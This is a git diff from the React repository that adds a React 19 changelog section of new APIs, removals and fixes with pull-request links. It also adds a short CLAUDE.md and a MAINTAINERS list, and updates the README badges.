+* Add `use()` API to read resources in render ([\#25084](https://github.com/facebook/react/pull/25084), [\#25202](https://github.com/facebook/react/pull/25202), [\#25207](https://github.com/facebook/react/pull/25207), [\#25214](https://github.com/facebook/react/pull/25214), [\#25226](https://github.com/facebook/react/pull/25226), [\#25247](https://github.com/facebook/react/pull/25247), [\#25539](https://github.com/facebook/react/pull/25539), [\#25538](https://github.com/facebook/react/pull/25538), [\#25537](https://github.com/facebook/react/pull/25537), [\#25543](https://github.com/facebook/react/pull/25543), [\#25561](https://github.com/facebook/react/pull/25561), [\#25620](https://github.com/facebook/react/pull/25620), [\#25615](https://github.com/facebook/react/pull/25615), [\#25922](https://github.com/facebook/react/pull/25922), [\#25641](https://github.com/facebook/react/pull/25641), [\#25634](https://github.com/facebook/react/pull/25634), [\#26232](https://github.com/facebook/react/pull/26232), [\#26536](https://github.com/facebook/react/pull/26535), [\#26739](https://github.com/facebook/react/pull/26739), [\#28233](https://github.com/facebook/react/pull/28233) by [@acdlite](https://github.com/acdlite), [@MofeiZ](https://github.com/mofeiZ), [@sebmarkbage](https://github.com/sebmarkbage), [@sophiebits](https://github.com/sophiebits), [@eps1lon](https://github.com/eps1lon), and [@hansottowirtz](https://github.com/hansottowirtz))  
+* Add `useOptimistic()` hook to display mutated state optimistically during an async mutation ([\#26740](https://github.com/facebook/react/pull/26740), [\#26772](https://github.com/facebook/react/pull/26772), [\#27277](https://github.com/facebook/react/pull/27277), [\#27453](https://github.com/facebook/react/pull/27453), [\#27454](https://github.com/facebook/react/pull/27454), [\#27936](https://github.com/facebook/react/pull/27936) by [@acdlite](https://github.com/acdlite))  
+* Added an `initialValue` argument to `useDeferredValue()` hook ([\#27500](https://github.com/facebook/react/pull/27500), [\#27509](https://github.com/facebook/react/pull/27509), [\#27512](https://github.com/facebook/react/pull/27512), [\#27888](https://github.com/facebook/react/pull/27888), [\#27550](https://github.com/facebook/react/pull/27550) by [@acdlite](https://github.com/acdlite))  
+* Support refs as props, warn on `element.ref` access ([\#28348](https://github.com/facebook/react/pull/28348), [\#28464](https://github.com/facebook/react/pull/28464), [\#28731](https://github.com/facebook/react/pull/28731) by [@acdlite](https://github.com/acdlite))  
+* Support Custom Elements ([\#22184](https://github.com/facebook/react/pull/22184), [\#26524](https://github.com/facebook/react/pull/26524), [\#26523](https://github.com/facebook/react/pull/26523), [\#27511](https://github.com/facebook/react/pull/27511), [\#24541](https://github.com/facebook/react/pull/24541) by [@josepharhar](https://github.com/josepharhar), [@sebmarkbage](https://github.com/sebmarkbage), [@gnoff](https://github.com/gnoff) and [@eps1lon](https://github.com/eps1lon))  
+* Add ref cleanup function ([\#25686](https://github.com/facebook/react/pull/25686), [\#28883](https://github.com/facebook/react/pull/28883), [\#28910](https://github.com/facebook/react/pull/28910)  by [@sammy-SC](https://github.com/sammy-SC), [@jackpope](https://github.com/jackpope), and [@kassens](https://github.com/kassens))  
+* Sibling pre-rendering replaced by sibling pre-warming ([\#26380](https://github.com/facebook/react/pull/26380), [\#26549](https://github.com/facebook/react/pull/26549), [\#30761](https://github.com/facebook/react/pull/30761), [\#30800](https://github.com/facebook/react/pull/30800), [\#30762](https://github.com/facebook/react/pull/30762), [\#30879](https://github.com/facebook/react/pull/30879), [\#30934](https://github.com/facebook/react/pull/30934), [\#30952](https://github.com/facebook/react/pull/30952), [\#31056](https://github.com/facebook/react/pull/31056), [\#31452](https://github.com/facebook/react/pull/31452) by [@sammy-SC](https://github.com/sammy-SC), [@acdlite](https://github.com/acdlite), [@gnoff](https://github.com/gnoff), [@jackpope](https://github.com/jackpope), [@rickhanlonii](https://github.com/rickhanlonii))  
+* Don’t rethrow errors at the root ([\#28627](https://github.com/facebook/react/pull/28627), [\#28641](https://github.com/facebook/react/pull/28641) by [@sebmarkbage](https://github.com/sebmarkbage))  
+* Batch sync discrete, continuous, and default lanes ([\#25700](https://github.com/facebook/react/pull/25700) by [@tyao1](https://github.com/tyao1))  
+* Switch `<Context>` to mean `<Context.Provider>` ([\#28226](https://github.com/facebook/react/pull/28226) by [@gaearon](https://github.com/gaearon))  
+* Changes to *StrictMode*  
+  * Handle `info`, `group`, and `groupCollapsed` in *StrictMode* logging ([\#25172](https://github.com/facebook/react/pull/25172) by [@timneutkens](https://github.com/timneutkens))  
+  * Refs are now attached/detached/attached in *StrictMode* ([\#25049](https://github.com/facebook/react/pull/25049) by [@sammy-SC](https://github.com/sammy-SC))  
+  * Fix `useSyncExternalStore()` hydration in *StrictMode* ([\#26791](https://github.com/facebook/react/pull/26791) by [@sophiebits](https://github.com/sophiebits))  
+  * Always trigger `componentWillUnmount()` in *StrictMode* ([\#26842](https://github.com/facebook/react/pull/26842) by [@tyao1](https://github.com/tyao1))  
+  * Restore double invoking `useState()` and `useReducer()` initializer functions in *StrictMode* ([\#28248](https://github.com/facebook/react/pull/28248) by [@eps1lon](https://github.com/eps1lon))  
+  * Reuse memoized result from first pass ([\#25583](https://github.com/facebook/react/pull/25583) by [@acdlite](https://github.com/acdlite))  
+  * Fix `useId()` in *StrictMode* ([\#25713](https://github.com/facebook/react/pull/25713) by [@gnoff](https://github.com/gnoff))  
+  * Add component name to *StrictMode* error messages ([\#25718](https://github.com/facebook/react/pull/25718) by [@sammy-SC](https://github.com/sammy-SC))  
+* Add support for rendering BigInt ([\#24580](https://github.com/facebook/react/pull/24580) by [@eps1lon](https://github.com/eps1lon))  
+* `act()` no longer checks `shouldYield` which can be inaccurate in test environments ([\#26317](https://github.com/facebook/react/pull/26317) by [@acdlite](https://github.com/acdlite))  
+* Warn when keys are spread with props ([\#25697](https://github.com/facebook/react/pull/25697), [\#26080](https://github.com/facebook/react/pull/26080) by [@sebmarkbage](https://github.com/sebmarkbage) and [@kassens](https://github.com/kassens))  
+* Generate sourcemaps for production build artifacts ([\#26446](https://github.com/facebook/react/pull/26446) by [@markerikson](https://github.com/markerikson))  
+* Improve stack diffing algorithm ([\#27132](https://github.com/facebook/react/pull/27132) by [@KarimP](https://github.com/KarimP))  
+* Suspense throttling lowered from 500ms to 300ms ([\#26803](https://github.com/facebook/react/pull/26803) by [@acdlite](https://github.com/acdlite))  
+* Lazily propagate context changes ([\#20890](https://github.com/facebook/react/pull/20890) by [@acdlite](https://github.com/acdlite) and [@gnoff](https://github.com/gnoff))  
+* Immediately rerender pinged fiber ([\#25074](https://github.com/facebook/react/pull/25074) by [@acdlite](https://github.com/acdlite))  
+* Move update scheduling to microtask ([\#26512](https://github.com/facebook/react/pull/26512) by [@acdlite](https://github.com/acdlite))  
+* Consistently apply throttled retries ([\#26611](https://github.com/facebook/react/pull/26611), [\#26802](https://github.com/facebook/react/pull/26802) by [@acdlite](https://github.com/acdlite))  
+* Suspend Thenable/Lazy if it's used in React.Children ([\#28284](https://github.com/facebook/react/pull/28284) by [@sebmarkbage](https://github.com/sebmarkbage))  
+* Detect infinite update loops caused by render phase updates ([\#26625](https://github.com/facebook/react/pull/26625) by [@acdlite](https://github.com/acdlite))  
+* Update conditional hooks warning ([\#29626](https://github.com/facebook/react/pull/29626) by [@sophiebits](https://github.com/sophiebits))  
+* Update error URLs to go to new docs ([\#27240](https://github.com/facebook/react/pull/27240) by [@rickhanlonii](https://github.com/rickhanlonii))  
+* Rename the `react.element` symbol to `react.transitional.element` ([\#28813](https://github.com/facebook/react/pull/28813) by [@sebmarkbage](https://github.com/sebmarkbage))  
+* Fix crash when suspending in shell during `useSyncExternalStore()` re-render ([\#27199](https://github.com/facebook/react/pull/27199) by [@acdlite](https://github.com/acdlite))  
+* Fix incorrect “detected multiple renderers" error in tests ([\#22797](https://github.com/facebook/react/pull/22797) by [@eps1lon](https://github.com/eps1lon))  
+* Fix bug where effect cleanup may be called twice after bailout ([\#26561](https://github.com/facebook/react/pull/26561) by [@acdlite](https://github.com/acdlite))  
+* Fix suspending in shell during discrete update ([\#25495](https://github.com/facebook/react/pull/25495) by [@acdlite](https://github.com/acdlite))  
+* Fix memory leak after repeated setState bailouts ([\#25309](https://github.com/facebook/react/pull/25309) by [@acdlite](https://github.com/acdlite))  
+* Fix `useSyncExternalStore()` dropped update when state is dispatched in render phase ([\#25578](https://github.com/facebook/react/pull/25578) by [@pandaiolo](https://github.com/pandaiolo))  
+* Fix logging when rendering a lazy fragment ([\#30372](https://github.com/facebook/react/pull/30372) by [@tom-sherman](https://github.com/tom-sherman))  
+* Remove string refs ([\#25383](https://github.com/facebook/react/pull/25383), [\#28322](https://github.com/facebook/react/pull/28322) by [@eps1lon](https://github.com/eps1lon) and [@acdlite](https://github.com/acdlite))  
+* Remove Legacy Context (\#30319 by [@kassens](https://github.com/kassens))  
+* Remove `RefreshRuntime.findAffectedHostInstances` ([\#30538](https://github.com/facebook/react/pull/30538) by [@gaearon](https://github.com/gaearon))  
+* Remove client caching from `cache()` API ([\#27977](https://github.com/facebook/react/pull/27977), [\#28250](https://github.com/facebook/react/pull/28250) by [@acdlite](https://github.com/acdlite) and [@gnoff](https://github.com/gnoff))  
+* Remove `propTypes` ([\#28324](https://github.com/facebook/react/pull/28324), [\#28326](https://github.com/facebook/react/pull/28326) by [@gaearon](https://github.com/gaearon))  
+* Remove `defaultProps` support, except for classes ([\#28733](https://github.com/facebook/react/pull/28733) by [@acdlite](https://github.com/acdlite))  
+* Remove UMD builds ([\#28735](https://github.com/facebook/react/pull/28735) by [@gnoff](https://github.com/gnoff))  
+* Remove delay for non-transition updates ([\#26597](https://github.com/facebook/react/pull/26597) by [@acdlite](https://github.com/acdlite))  
+* Remove `createFactory` ([\#27798](https://github.com/facebook/react/pull/27798) by [@kassens](https://github.com/kassens))
+
+#### React DOM
+
+* Adds Form Actions to handle form submission ([\#26379](https://github.com/facebook/react/pull/26379), [\#26674](https://github.com/facebook/react/pull/26674), [\#26689](https://github.com/facebook/react/pull/26689), [\#26708](https://github.com/facebook/react/pull/26708), [\#26714](https://github.com/facebook/react/pull/26714),  [\#26735](https://github.com/facebook/react/pull/26735), [\#26846](https://github.com/facebook/react/pull/26846), [\#27358](https://github.com/facebook/react/pull/27358),  [\#28056](https://github.com/facebook/react/pull/28056) by [@sebmarkbage](https://github.com/sebmarkbage), [@acdlite](https://github.com/acdlite), and [@jupapios](https://github.com/jupapios))  
+* Add `useFormStatus()` hook to provide status information of the last form submission ([\#26719](https://github.com/facebook/react/pull/26719), [\#26722](https://github.com/facebook/react/pull/26722), [\#26788](https://github.com/facebook/react/pull/26788),  [\#29019](https://github.com/facebook/react/pull/29019), [\#28728](https://github.com/facebook/react/pull/28728), [\#28413](https://github.com/facebook/react/pull/28413) by [@acdlite](https://github.com/acdlite) and [@eps1lon](https://github.com/eps1lon))  
+* Support for Document Metadata. Adds `preinit`, `preinitModule`, `preconnect`, `prefetchDNS`, `preload`, and `preloadModule` APIs.  
+  * [\#25060](https://github.com/facebook/react/pull/25060), [\#25243](https://github.com/facebook/react/pull/25243), [\#25388](https://github.com/facebook/react/pull/25388), [\#25432](https://github.com/facebook/react/pull/25432), [\#25436](https://github.com/facebook/react/pull/25436), [\#25426](https://github.com/facebook/react/pull/25426), [\#25500](https://github.com/facebook/react/pull/25500), [\#25480](https://github.com/facebook/react/pull/25480), [\#25508](https://github.com/facebook/react/pull/25508), [\#25515](https://github.com/facebook/react/pull/25515), [\#25514](https://github.com/facebook/react/pull/25514), [\#25532](https://github.com/facebook/react/pull/25532), [\#25536](https://github.com/facebook/react/pull/25536), [\#25534](https://github.com/facebook/react/pull/25534), [\#25546](https://github.com/facebook/react/pull/25546), [\#25559](https://github.com/facebook/react/pull/25559), [\#25569](https://github.com/facebook/react/pull/25569), [\#25599](https://github.com/facebook/react/pull/25599), [\#25689](https://github.com/facebook/react/pull/25689), [\#26106](https://github.com/facebook/react/pull/26106), [\#26152](https://github.com/facebook/react/pull/26152), [\#26239](https://github.com/facebook/react/pull/26239), [\#26237](https://github.com/facebook/react/pull/26237), [\#26280](https://github.com/facebook/react/pull/26280), [\#26154](https://github.com/facebook/react/pull/26154), [\#26256](https://github.com/facebook/react/pull/26256), [\#26353](https://github.com/facebook/react/pull/26353), [\#26427](https://github.com/facebook/react/pull/26427), [\#26450](https://github.com/facebook/react/pull/26450), [\#26502](https://github.com/facebook/react/pull/26502),  [\#26514](https://github.com/facebook/react/pull/26514), [\#26531](https://github.com/facebook/react/pull/26531), [\#26532](https://github.com/facebook/react/pull/26532), [\#26557](https://github.com/facebook/react/pull/26557), [\#26871](https://github.com/facebook/react/pull/26871), [\#26881](https://github.com/facebook/react/pull/26881), [\#26877](https://github.com/facebook/react/pull/26877), [\#26873](https://github.com/facebook/react/pull/26873), [\#26880](https://github.com/facebook/react/pull/26880), [\#26942](https://github.com/facebook/react/pull/26942), [\#26938](https://github.com/facebook/react/pull/26938), [\#26940](https://github.com/facebook/react/pull/26940), [\#26939](https://github.com/facebook/react/pull/26939), [\#27030](https://github.com/facebook/react/pull/27030), [\#27201](https://github.com/facebook/react/pull/27201), [\#27212](https://github.com/facebook/react/pull/27212), [\#27217](https://github.com/facebook/react/pull/27217), [\#27218](https://github.com/facebook/react/pull/27218), [\#27220](https://github.com/facebook/react/pull/27220), [\#27224](https://github.com/facebook/react/pull/27224), [\#27223](https://github.com/facebook/react/pull/27223), [\#27269](https://github.com/facebook/react/pull/27269), [\#27260](https://github.com/facebook/react/pull/27260), [\#27347](https://github.com/facebook/react/pull/27347), [\#27346](https://github.com/facebook/react/pull/27346), [\#27361](https://github.com/facebook/react/pull/27361), [\#27400](https://github.com/facebook/react/pull/27400), [\#27541](https://github.com/facebook/react/pull/27541), [\#27610](https://github.com/facebook/react/pull/27610), [\#28110](https://github.com/facebook/react/pull/28110), [\#29693](https://github.com/facebook/react/pull/29693), [\#29732](https://github.com/facebook/react/pull/29732), [\#29811](https://github.com/facebook/react/pull/29811), [\#27586](https://github.com/facebook/react/pull/27586), [\#28069](https://github.com/facebook/react/pull/28069) by [@gnoff](https://github.com/gnoff), [@sebmarkbage](https://github.com/sebmarkbage), [@acdlite](https://github.com/acdlite), [@kassens](https://github.com/kassens), [@sokra](https://github.com/sokra), [@sweetliquid](https://github.com/sweetliquid)  
+* Add `fetchPriority` to `<img>` and `<link>` ([\#25927](https://github.com/facebook/react/pull/25927) by [@styfle](https://github.com/styfle))  
+* Add support for SVG `transformOrigin` prop ([\#26130](https://github.com/facebook/react/pull/26130) by [@arav-ind](https://github.com/arav-ind))  
+* Add support for `onScrollEnd` event ([\#26789](https://github.com/facebook/react/pull/26789) by [@devongovett](https://github.com/devongovett))  
+* Allow `<hr>` as child of `<select>` ([\#27632](https://github.com/facebook/react/pull/27632) by [@SouSingh](https://github.com/SouSingh))  
+* Add support for Popover API ([\#27981](https://github.com/facebook/react/pull/27981) by [@eps1lon](https://github.com/eps1lon))  
+* Add support for `inert` ([\#24730](https://github.com/facebook/react/pull/24730) by [@eps1lon](https://github.com/eps1lon))  
+* Add support for `imageSizes` and `imageSrcSet` ([\#22550](https://github.com/facebook/react/pull/22550) by [@eps1lon](https://github.com/eps1lon))  
+* Synchronously flush transitions in popstate events ([\#26025](https://github.com/facebook/react/pull/26025), [\#27559](https://github.com/facebook/react/pull/27559), [\#27505](https://github.com/facebook/react/pull/27505), [\#30759](https://github.com/facebook/react/pull/30759) by [@tyao1](https://github.com/tyao1) and [@acdlite](https://github.com/acdlite))  
+* `flushSync` exhausts queue even if something throws ([\#26366](https://github.com/facebook/react/pull/26366) by [@acdlite](https://github.com/acdlite))  
+* Throw error if `react` and `react-dom` versions don’t match ([\#29236](https://github.com/facebook/react/pull/29236) by [@acdlite](https://github.com/acdlite))  
+* Ensure `srcset` and `src` are assigned last on `<img>` instances ([\#30340](https://github.com/facebook/react/pull/30340) by [@gnoff](https://github.com/gnoff))  
+* Javascript URLs are replaced with functions that throw errors ([\#26507](https://github.com/facebook/react/pull/26507), [\#29808](https://github.com/facebook/react/pull/29808) by [@sebmarkbage](https://github.com/sebmarkbage) and [@kassens](https://github.com/kassens))  
+* Treat toggle and beforetoggle as discrete events ([\#29176](https://github.com/facebook/react/pull/29176) by [@eps1lon](https://github.com/eps1lon))  
+* Filter out empty `src` and `href` attributes (unless for `<a href=”” />`) ([\#18513](https://github.com/facebook/react/pull/18513), [\#28124](https://github.com/facebook/react/pull/28124) by [@bvaughn](https://github.com/bvaughn) and [@eps1lon](https://github.com/eps1lon))  
+* Fix unitless `scale` style property ([\#25601](https://github.com/facebook/react/pull/25601) by [@JonnyBurger](https://github.com/JonnyBurger))  
+* Fix `onChange` error message for controlled `<select>` ([\#27740](https://github.com/facebook/react/pull/27740) by [@Biki-das](https://github.com/Biki-das))  
+* Fix focus restore in child windows after element reorder ([\#30951](https://github.com/facebook/react/pull/30951) by [@ling1726](https://github.com/ling1726))  
+* Remove `render`, `hydrate`, `findDOMNode`, `unmountComponentAtNode`, `unstable_createEventHandle`, `unstable_renderSubtreeIntoContainer`, and `unstable_runWithPriority`. Move `createRoot` and `hydrateRoot` to `react-dom/client`. ([\#28271](https://github.com/facebook/react/pull/28271) by [@gnoff](https://github.com/gnoff))  
+* Remove `test-utils` ([\#28541](https://github.com/facebook/react/pull/28541) by [@eps1lon](https://github.com/eps1lon))  
+* Remove `unstable_flushControlled` ([\#26397](https://github.com/facebook/react/pull/26397) by [@kassens](https://github.com/kassens))  
+* Remove legacy mode ([\#28468](https://github.com/facebook/react/pull/28468) by [@gnoff](https://github.com/gnoff))  
+* Remove `renderToStaticNodeStream()` ([\#28873](https://github.com/facebook/react/pull/28873) by @gnoff)  
+* Remove `unstable_renderSubtreeIntoContainer` ([\#29771](https://github.com/facebook/react/pull/29771) by [@kassens](https://github.com/kassens))
+
+#### React DOM Server
+
+* Stable release of React Server Components ([Many, many PRs](https://github.com/facebook/react/pulls?q=is%3Apr+is%3Aclosed+%5BFlight%5D+in%3Atitle+created%3A%3C2024-12-01+) by [@sebmarkbage](https://github.com/sebmarkbage), [@acdlite](https://github.com/acdlite), [@gnoff](https://github.com/gnoff), [@sammy-SC](https://github.com/sammy-SC), [@gaearon](https://github.com/gaearon), [@sophiebits](https://github.com/sophiebits), [@unstubbable](https://github.com/unstubbable), [@lubieowoce](https://github.com/lubieowoce))
+* Support Server Actions ([\#26124](https://github.com/facebook/react/pull/26124), [\#26632](https://github.com/facebook/react/pull/26632), [\#27459](https://github.com/facebook/react/pull/27459) by [@sebmarkbage](https://github.com/sebmarkbage) and [@acdlite](https://github.com/acdlite))  
+* Changes to SSR  
+  * Add external runtime which bootstraps hydration on the client for binary transparency ([\#25437](https://github.com/facebook/react/pull/25437), [\#26169](https://github.com/facebook/react/pull/26169), [\#25499](https://github.com/facebook/react/pull/25499) by [@MofeiZ](https://github.com/mofeiZ) and [@acdlite](https://github.com/acdlite))  
+  * Support subresource integrity for `bootstrapScripts` and `bootstrapModules` ([\#25104](https://github.com/facebook/react/pull/25104) by [@gnoff](https://github.com/gnoff))  
+  * Fix null bytes written at text chunk boundaries ([\#26228](https://github.com/facebook/react/pull/26228) by [@sophiebits](https://github.com/sophiebits))  
+  * Fix logic around attribute serialization ([\#26526](https://github.com/facebook/react/pull/26526) by [@gnoff](https://github.com/gnoff))  
+  * Fix precomputed chunk cleared on Node 18 ([\#25645](https://github.com/facebook/react/pull/25645) by [@feedthejim](https://github.com/feedthejim))  
+  * Optimize end tag chunks ([\#27522](https://github.com/facebook/react/pull/27522) by [@yujunjung](https://github.com/yujunjung))  
+  * Gracefully handle suspending in DOM configs ([\#26768](https://github.com/facebook/react/pull/26768) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Check for nullish values on ReactCustomFormAction ([\#26770](https://github.com/facebook/react/pull/26770) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Preload `bootstrapModules`, `bootstrapScripts`, and update priority queue ([\#26754](https://github.com/facebook/react/pull/26754), [\#26753](https://github.com/facebook/react/pull/26753), [\#27190](https://github.com/facebook/react/pull/27190), [\#27189](https://github.com/facebook/react/pull/27189) by [@gnoff](https://github.com/gnoff))  
+  * Client render the nearest child or parent suspense boundary if replay errors or is aborted ([\#27386](https://github.com/facebook/react/pull/27386) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Don't bail out of flushing if we still have pending root tasks ([\#27385](https://github.com/facebook/react/pull/27385) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Ensure Resumable State is Serializable ([\#27388](https://github.com/facebook/react/pull/27388) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Remove extra render pass when reverting to client render ([\#26445](https://github.com/facebook/react/pull/26445) by [@acdlite](https://github.com/acdlite))  
+  * Fix unwinding context during selective hydration ([\#25876](https://github.com/facebook/react/pull/25876) by [@tyao1](https://github.com/tyao1))  
+  * Stop flowing and then abort if a stream is cancelled ([\#27405](https://github.com/facebook/react/pull/27405) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Pass cancellation reason to abort ([\#27536](https://github.com/facebook/react/pull/27536) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Add `onHeaders` entrypoint option ([\#27641](https://github.com/facebook/react/pull/27641), [\#27712](https://github.com/facebook/react/pull/27712) by [@gnoff](https://github.com/gnoff))  
+  * Escape `<style>` and `<script>` textContent to enable rendering inner content without dangerouslySetInnerHTML ([\#28870](https://github.com/facebook/react/pull/28870), [\#28871](https://github.com/facebook/react/pull/28871) by [@gnoff](https://github.com/gnoff))  
+  * Fallback to client replaying actions for Blob serialization ([\#28987](https://github.com/facebook/react/pull/28987) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Render Suspense fallback if boundary contains new stylesheet during sync update ([\#28965](https://github.com/facebook/react/pull/28965) by [@gnoff](https://github.com/gnoff))  
+  * Fix header length tracking (\#30327 by [@gnoff](https://github.com/gnoff))  
+  * Use `srcset` to trigger load event on mount (\#30351 by [@gnoff](https://github.com/gnoff))  
+  * Don't perform work when closing stream (\#30497 by [@gnoff](https://github.com/gnoff))  
+  * Allow aborting during render (\#30488, [\#30730](https://github.com/facebook/react/pull/30730) by [@gnoff](https://github.com/gnoff))  
+  * Start initial work immediately (\#31079 by [@gnoff](https://github.com/gnoff))  
+  * A transition flowing into a dehydrated boundary no longer suspends when showing fallback ([\#27230](https://github.com/facebook/react/pull/27230) by [@acdlite](https://github.com/acdlite))  
+  * Fix selective hydration triggers false update loop error ([\#27439](https://github.com/facebook/react/pull/27439) by [@acdlite](https://github.com/acdlite))  
+  * Warn for Child Iterator of all types but allow Generator Components ([\#28853](https://github.com/facebook/react/pull/28853) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Include regular stack trace in serialized errors ([\#28684](https://github.com/facebook/react/pull/28684), [\#28738](https://github.com/facebook/react/pull/28738) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Aborting early no longer infinitely suspends ([\#24751](https://github.com/facebook/react/pull/24751) by [@sebmarkbage](https://github.com/sebmarkbage))  
+  * Fix hydration warning suppression in text comparisons ([\#24784](https://github.com/facebook/react/pull/24784) by [@gnoff](https://github.com/gnoff))  
+  * Changes to error handling in SSR
+    * Add diffs to hydration warnings ([\#28502](https://github.com/facebook/react/pull/28502), [\#28512](https://github.com/facebook/react/pull/28512) by [@sebmarkbage](https://github.com/sebmarkbage))  
+    * Make Error creation lazy ([\#24728](https://github.com/facebook/react/pull/24728) by [@sebmarkbage](https://github.com/sebmarkbage))  
+    * Remove recoverable error when a sync update flows into a dehydrated boundary ([\#25692](https://github.com/facebook/react/pull/25692) by [@sebmarkbage](https://github.com/sebmarkbage))  
+    * Don't "fix up" mismatched text content with suppressedHydrationWarning ([\#26391](https://github.com/facebook/react/pull/26391) by [@sebmarkbage](https://github.com/sebmarkbage))  
+    * Fix component stacks in errors ([\#27456](https://github.com/facebook/react/pull/27456) by [@sebmarkbage](https://github.com/sebmarkbage))  
+    * Add component stacks to `onError` ([\#27761](https://github.com/facebook/react/pull/27761), [\#27850](https://github.com/facebook/react/pull/27850) by [@gnoff](https://github.com/gnoff) and [@sebmarkbage](https://github.com/sebmarkbage))  
+    * Throw hydration mismatch errors once ([\#28502](https://github.com/facebook/react/pull/28502) by [@sebmarkbage](https://github.com/sebmarkbage))  
+* Add Bun streaming server renderer ([\#25597](https://github.com/facebook/react/pull/25597) by [@colinhacks](https://github.com/colinhacks))  
+* Add nonce support to bootstrap scripts ([\#26738](https://github.com/facebook/react/pull/26738) by [@danieltott](https://github.com/danieltott))  
+* Add `crossorigin` support to bootstrap scripts ([\#26844](https://github.com/facebook/react/pull/26844) by [@HenriqueLimas](https://github.com/HenriqueLimas))  
+* Support `nonce` and `fetchpriority` in preload links ([\#26826](https://github.com/facebook/react/pull/26826) by [@liuyenwei](https://github.com/liuyenwei))  
+* Add `referrerPolicy` to `ReactDOM.preload()` ([\#27096](https://github.com/facebook/react/pull/27096) by [@styfle](https://github.com/styfle))  
+* Add server condition for `react/jsx-dev-runtime` ([\#28921](https://github.com/facebook/react/pull/28921) by [@himself65](https://github.com/himself65))   
+* Export version ([\#29596](https://github.com/facebook/react/pull/29596) by [@unstubbable](https://github.com/unstubbable))  
+* Rename the secret export of Client and Server internals ([\#28786](https://github.com/facebook/react/pull/28786), [\#28789](https://github.com/facebook/react/pull/28789) by [@sebmarkbage](https://github.com/sebmarkbage))  
+* Remove layout effect warning on server ([\#26395](https://github.com/facebook/react/pull/26395) by [@rickhanlonii](https://github.com/rickhanlonii))  
+* Remove `errorInfo.digest` from `onRecoverableError` ([\#28222](https://github.com/facebook/react/pull/28222) by [@gnoff](https://github.com/gnoff))
+
+#### ReactTestRenderer
+
+* Add deprecation error to `react-test-renderer` on web ([\#27903](https://github.com/facebook/react/pull/27903), [\#28904](https://github.com/facebook/react/pull/28904) by [@jackpope](https://github.com/jackpope) and [@acdlite](https://github.com/acdlite))  
+* Render with ConcurrentRoot on web ([\#28498](https://github.com/facebook/react/pull/28498) by [@jackpope](https://github.com/jackpope))  
+* Remove `react-test-renderer/shallow` export ([\#25475](https://github.com/facebook/react/pull/25475), [\#28497](https://github.com/facebook/react/pull/28497) by [@sebmarkbage](https://github.com/sebmarkbage) and [@jackpope](https://github.com/jackpope))
+
+#### React Reconciler
+
+* Enable suspending commits without blocking render ([\#26398](https://github.com/facebook/react/pull/26398), [\#26427](https://github.com/facebook/react/pull/26427) by [@acdlite](https://github.com/acdlite))  
+* Remove `prepareUpdate` ([\#26583](https://github.com/facebook/react/pull/26583), [\#27409](http://github.com/facebook/react/pull/27409) by [@sebmarkbage](https://github.com/sebmarkbage) and [@sophiebits](https://github.com/sophiebits))
+
+#### React-Is
+
+* Enable tree shaking ([\#27701](https://github.com/facebook/react/pull/27701) by [@markerikson](https://github.com/markerikson))  
+* Remove `isConcurrentMode` and `isAsyncMode` methods ([\#28224](https://github.com/facebook/react/pull/28224) by @gaearon)
+
+#### useSyncExternalStore
+
+* Remove React internals access ([\#29868](https://github.com/facebook/react/pull/29868) by [@phryneas](https://github.com/phryneas))  
+* Fix stale selectors keeping previous store references ([\#25969](https://github.com/facebook/react/pull/25968) by [@jellevoost](https://github.com/jellevoost))
+
 ## 18.3.1 (April 26, 2024)
 
 - Export `act` from `react` [f1338f](https://github.com/facebook/react/commit/f1338f8080abd1386454a10bbf93d67bfe37ce85)
diff --git a/CLAUDE.md b/CLAUDE.md
new file mode 100644
index 000000000000..81f9b4217235
--- /dev/null
+++ b/CLAUDE.md
@@ -0,0 +1,8 @@
+# React
+
+React is a JavaScript library for building user interfaces.
+
+## Monorepo Overview
+
+- **React**: All files outside `/compiler/`
+- **React Compiler**: `/compiler/` directory (has its own instructions)
diff --git a/MAINTAINERS b/MAINTAINERS
new file mode 100644
index 000000000000..e48736bc1ca4
--- /dev/null
+++ b/MAINTAINERS
@@ -0,0 +1,23 @@
+acdlite
+eps1lon
+EugeneChoi4
+gaearon
+gnoff
+unstubbable
+hoxyq
+jackpope
+jbonta
+jbrown215
+josephsavona
+kassens
+mattcarrollcode
+mofeiZ
+mvitousek
+pieterv
+poteto
+rickhanlonii
+sebmarkbage
+sethwebster
+sophiebits
+elicwhite
+yuzhi
diff --git a/README.md b/README.md
index 456df1f5d31d..88f8e827b025 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,4 @@
-# [React](https://react.dev/) &middot; [![GitHub license](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/facebook/react/blob/main/LICENSE) [![npm version](https://img.shields.io/npm/v/react.svg?style=flat)](https://www.npmjs.com/package/react) [![CircleCI Status](https://circleci.com/gh/facebook/react.svg?style=shield)](https://circleci.com/gh/facebook/react) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](https://legacy.reactjs.org/docs/how-to-contribute.html#your-first-pull-request)
+# [React](https://react.dev/) &middot; [![GitHub license](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/facebook/react/blob/main/LICENSE) [![npm version](https://img.shields.io/npm/v/react.svg?style=flat)](https://www.npmjs.com/package/react) [![(Runtime) Build and Test](https://github.com/facebook/react/actions/workflows/runtime_build_and_test.yml/badge.svg)](https://github.com/facebook/react/actions/workflows/runtime_build_and_test.yml) [![(Compiler) TypeScript](https://github.com/facebook/react/actions/workflows/compiler_typescript.yml/badge.svg?branch=main)](https://github.com/facebook/react/actions/workflows/compiler_typescript.yml) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](https://legacy.reactjs.org/docs/how-to-contribute.html#your-first-pull-request)
 
 React is a JavaScript library for building user interfaces.
 
@@ -18,7 +18,7 @@ React has been designed for gradual adoption from the start, and **you can use a
 
 ## Documentation
 
-You can find the React documentation [on the website](https://react.dev/).  
+You can find the React documentation [on the website](https://react.dev/).
 
 Check out the [Getting Started](https://react.dev/learn) page for a quick overview.
 
@@ -55,7 +55,7 @@ root.render(<HelloMessage name="Taylor" />);
